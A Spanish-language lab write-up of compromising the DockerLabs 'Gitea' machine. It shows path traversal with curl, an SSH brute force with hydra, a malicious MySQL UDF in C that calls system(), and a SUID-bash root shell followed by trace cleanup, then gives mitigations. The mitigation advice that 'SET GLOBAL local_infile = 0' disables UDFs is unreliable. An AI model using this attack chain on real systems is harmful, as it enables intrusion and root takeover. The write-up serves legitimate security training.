Gitea

Introducción

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Gitea, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media. Esta máquina simula un escenario real donde múltiples vulnerabilidades web y de configuración permiten escalada completa de privilegios, incluyendo abuso de servicios de base de datos.

La resolución sigue una metodología estructurada:

1. Reconocimiento: Enumeración de servicios, descubrimiento de instancia Gitea y análisis de repositorios públicos.
2. Explotación: Explotación de path traversal para extraer información sensible y ataque de fuerza bruta dirigido.
3. Escalada de privilegios: Abuso de MySQL ejecutándose como root mediante User-Defined Functions (UDF).

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades comunes en entornos de desarrollo.

---

Información Técnica

Atributo	Valor
Nombre	Gitea
Autor	d1se0
Dificultad	Medio
Fecha	17/10/2025
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

---

Fase 1 — Despliegue y Configuración

1.1 Preparación del Entorno

Descomprimimos el archivo de la máquina y lo desplegamos:

unzip Gitea.zip
sudo bash auto_deploy.sh Gitea.tar

Figura 1: Dirección IP asignada al contenedor

1.2 Organización del Workspace

Creamos una estructura organizada para documentar el proceso:

mkdir -p Gitea/{content,exploits,nmap,gobuster,scripts}
cd Gitea

---

Fase 2 — Reconocimiento

2.1 Escaneo de Puertos

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

• 22/tcp — SSH (Secure Shell)
• 80/tcp — HTTP (Web Server)
• 3000/tcp — HTTP (Gitea Service)

Figura 2: Servicios expuestos en la máquina

2.2 Análisis del Servicio Web (Puerto 80)

Realizamos un escaneo de directorios en el puerto 80:

feroxbuster -u http://172.17.0.2 -d 0 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,txt,html,js,bak,old \
  -t 40 \
  -C 404,403

Figura 3: Resultados del escaneo en puerto 80

La página principal en el puerto 80 es básica y no contiene información relevante:

Figura 4: Página web básica en puerto 80

2.3 Análisis del Servicio Gitea (Puerto 3000)

Accedemos al servicio en el puerto 3000 que corresponde a Gitea:

Figura 5: Interfaz principal de Gitea

Estructura descubierta:

• /explore/repos — Tres repositorios públicos disponibles
• /login — Panel de autenticación
• /user/sign_up — Registro de nuevos usuarios

2.4 Enumeración de Repositorios Públicos

Examinamos los repositorios públicos en /explore/repos:

1. Repositorio de Configuración MySQL: Figura 6: Configuración con credenciales de MySQL

   Hallazgos: Contiene credenciales para MySQL: admin:PASSWORD

2. Repositorio con Vulnerabilidad Documentada: Figura 7: Vulnerabilidad de path traversal no solucionada

   Hallazgos: Commit que menciona vulnerabilidad de path traversal en /download

3. Análisis del Panel de Login: Figura 8: Pista sobre dominios en código fuente

2.5 Configuración de DNS Local

Basado en la pista encontrada, agregamos dominios al archivo /etc/hosts:

echo "172.17.0.2 admin.s3cr3tdir.dev.gitea.dl" | sudo tee -a /etc/hosts
echo "172.17.0.2 gitea.dl" | sudo tee -a /etc/hosts

---

Fase 3 — Explotación

3.1 Descubrimiento de Vulnerabilidad Path Traversal

Probamos el path traversal documentado en el dominio descubierto:

curl -s 'http://gitea.dl/download?filename=/etc/passwd'

Figura 9: Path traversal exitoso mostrando /etc/passwd

Hallazgos: Solo existe el usuario designer en el sistema.

3.2 Extracción de Información Sensible

Utilizamos el path traversal para leer archivos del sistema:

# Buscamos archivos interesantes
curl -s "http://gitea.dl/download?filename=/opt/info.txt"

El archivo /opt/info.txt contiene múltiples credenciales en formato inconsistente. Extraemos posibles contraseñas:

# Extracción y limpieza de contraseñas
curl -s 'http://gitea.dl/download?filename=/opt/info.txt' | \
awk -F '[: -]' '{print $2}' | \
grep -v '^$' | sort -u > passwords.txt

# Verificamos el resultado
wc -l passwords.txt
head passwords.txt

3.3 Ataque de Fuerza Bruta Dirigido SSH

Con el usuario designer y la lista de contraseñas extraídas:

hydra -l designer -P passwords.txt ssh://172.17.0.2 -I -t 64 -f

Figura 10: Credenciales SSH comprometidas

Credenciales obtenidas: designer:g3n3ralP@ssw0rd

3.4 Acceso Inicial al Sistema

Nos conectamos al sistema mediante SSH:

ssh designer@172.17.0.2

Figura 11: Acceso SSH como usuario designer

---

Fase 4 — Escalada de Privilegios

4.1 Enumeración del Sistema

Una vez dentro, comenzamos la enumeración:

whoami
id
pwd
ls -la

4.2 Descubrimiento de MySQL como Root

Verificamos procesos en ejecución:

ps aux | grep mysql

Hallazgo crítico: MySQL está ejecutándose como usuario root.

Verificamos acceso a MySQL con las credenciales descubiertas:

mysql -u admin -pPASSWORD -e "SELECT USER(), CURRENT_USER();"

4.3 Investigación de User-Defined Functions (UDF)

MySQL permite crear funciones personalizadas que pueden ejecutar código del sistema. Dado que MySQL se ejecuta como root, podemos crear una UDF para ejecutar comandos como root.

4.4 Desarrollo de la UDF Maliciosa

Creamos un archivo C con la función maliciosa:

udf_shell.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    // Inicialización segura
    if (args->arg_count != 1) {
        strcpy(message, "sys_exec() requiere un argumento");
        return 1;
    }

    // Verificar que el argumento es string
    args->arg_type[0] = STRING_RESULT;
    return 0;
}

char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result,
               unsigned long *length, char *is_null, char *error) {
    // Ejecutar comando del sistema
    if (args->args[0]) {
        system(args->args[0]);
    }
    *is_null = 0;
    return NULL;
}

4.5 Compilación de la Biblioteca Compartida

Compilamos la biblioteca compartida:

# Instalamos dependencias si es necesario
apt-get update && apt-get install -y gcc libmysqlclient-dev

# Compilamos
gcc -fPIC -shared -o udf_shell.so udf_shell.c $(mysql_config --cflags) $(mysql_config --libs)

4.6 Implementación de la UDF en MySQL

1. Localizamos el directorio de plugins de MySQL:

   mysql -u admin -pPASSWORD -e "SHOW VARIABLES LIKE 'plugin_dir';"

2. Copiamos la biblioteca al directorio de plugins:

   cp udf_shell.so /usr/lib/mysql/plugin/
   chmod 755 /usr/lib/mysql/plugin/udf_shell.so

3. Creamos la función en MySQL:

   mysql -u admin -pPASSWORD << 'EOF'
   DROP FUNCTION IF EXISTS sys_exec;
   CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_shell.so';
   SELECT 'Función creada exitosamente';
   EOF

4. Verificamos la creación:

   mysql -u admin -pPASSWORD -e "SELECT * FROM mysql.func WHERE name='sys_exec';"

4.7 Ejecución de Comandos como Root

Utilizamos la función creada para ejecutar comandos como root:

# Asignamos SUID a /bin/bash
mysql -u admin -pPASSWORD -e "SELECT sys_exec('chmod u+s /bin/bash');"

# Verificamos los permisos
ls -la /bin/bash

4.8 Obtención de Shell Root

Con bash con bit SUID activado:

/bin/bash -p

Figura 12: Acceso root obtenido mediante bash SUID

4.9 Limpieza y Verificación

# Verificamos identidad
id
whoami

# Limpiamos rastros
mysql -u admin -pPASSWORD -e "DROP FUNCTION sys_exec;"
rm /usr/lib/mysql/plugin/udf_shell.so

---

Análisis de Vulnerabilidades

5.1 Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto	CWE/Referencia
Path traversal en endpoint /download	Crítica	Lectura arbitraria de archivos	CWE-22
Exposición de credenciales en repositorios	Alta	Compromiso de múltiples servicios	CWE-798
Configuración de MySQL como root	Crítica	Ejecución de comandos como root	CWE-250
User-Defined Functions sin restricciones	Crítica	Ejecución de código arbitrario	CWE-94
Información sensible en archivos no seguros	Alta	Facilitación de ataques	CWE-312
Contraseñas débiles y reutilizadas	Media	Acceso inicial facilitado	CWE-521

5.2 Recomendaciones de Mitigación

1. Protección contra Path Traversal:

   • Validar y sanitizar parámetros de entrada
   • Implementar lista blanca de rutas permitidas
   • Usar funciones como realpath() y basename()

   // EJEMPLO DE VALIDACIÓN CORRECTA
   $allowed_files = ['file1.txt', 'file2.pdf'];
   $filename = basename($_GET['filename']);
   if(!in_array($filename, $allowed_files)) {
       http_response_code(403);
       die('Archivo no permitido');
   }

2. Gestión de Credenciales en Repositorios:

   • Utilizar variables de entorno o sistemas de gestión de secretos
   • Implementar git-secrets o herramientas similares
   • Realizar auditorías de código para detectar hardcoding
   • Rotar credenciales después de exposición

3. Configuración Segura de MySQL:

   • Ejecutar MySQL con usuario no privilegiado

   /etc/mysql/my.cnf

   [mysqld]
   user = mysql

   • Restringir creación de funciones UDF

   -- Deshabilitar UDFs si no son necesarias
   SET GLOBAL local_infile = 0;

   • Implementar logging de consultas peligrosas

4. Protección de Archivos Sensibles:

   • Restringir permisos en archivos de configuración
   • Utilizar cifrado para datos sensibles
   • Implementar controles de acceso basados en roles
   • Realizar auditorías periódicas de permisos

5. Hardening del Sistema:

   • Implementar SELinux/AppArmor para MySQL
   • Configurar límites de recursos y capacidades
   • Monitorear creación de archivos en directorios de plugins
   • Implementar detección de anomalías en consultas SQL

6. Políticas de Contraseñas:

   • Implementar políticas de complejidad de contraseñas
   • Evitar reutilización de contraseñas entre servicios
   • Implementar autenticación multifactor
   • Realizar auditorías periódicas de cuentas

7. Monitoreo y Respuesta:

   • Implementar logging detallado de accesos web
   • Configurar alertas para path traversal attempts
   • Monitorear ejecución de procesos privilegiados
   • Realizar pentests periódicos